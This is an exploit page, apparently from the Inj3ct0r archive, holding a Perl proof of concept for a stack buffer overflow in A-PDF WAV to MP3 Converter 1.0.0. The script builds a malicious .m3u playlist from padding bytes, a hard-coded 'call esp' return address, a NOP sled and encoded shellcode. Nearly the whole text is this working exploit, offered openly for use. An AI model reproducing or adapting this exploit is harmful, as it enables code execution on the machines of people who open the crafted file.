A-PDF WAV to MP3 Converter 1.0.0 (.m3u) Stack Buffer Overflo
Posted on 17 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>A-PDF WAV to MP3 Converter 1.0.0 (.m3u) Stack Buffer Overflow</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================= A-PDF WAV to MP3 Converter 1.0.0 (.m3u) Stack Buffer Overflow ============================================================= # Exploit Title: A-PDF WAV to MP3 Converter 1.0.0 (.m3u) Stack Buffer Overflow # Author: d4rk-h4ck3r # Date: 2010-07-17 # Software Link: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html # Greetz 2 : PASSEWORD , KAiSER-J , sec4ever , tli7a , All Tun!Sian h4ck3rz # Spacial thanks 2 : MadjiX ( el m3alem ) # Tested on: Windows XP SP3 Fr my $jnk="x41" x 4128 ; my $eip = "x63x46x92x7C" ; # 0x7C924663 call esp kernel 32 my $nop = "x90" x 20; $shellcode = $shellcode ."xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" . "x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30" . "x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa" . "x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96" . "x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b" . "xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a" . "xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83" . "x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98" . "xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61" . "xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05" . "x7fxe8x7bxca"; open(MYFILE,'>>d4rk.m3u'); print MYFILE $jnk.$eip.$nop.$shellcode; close(MYFILE); # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>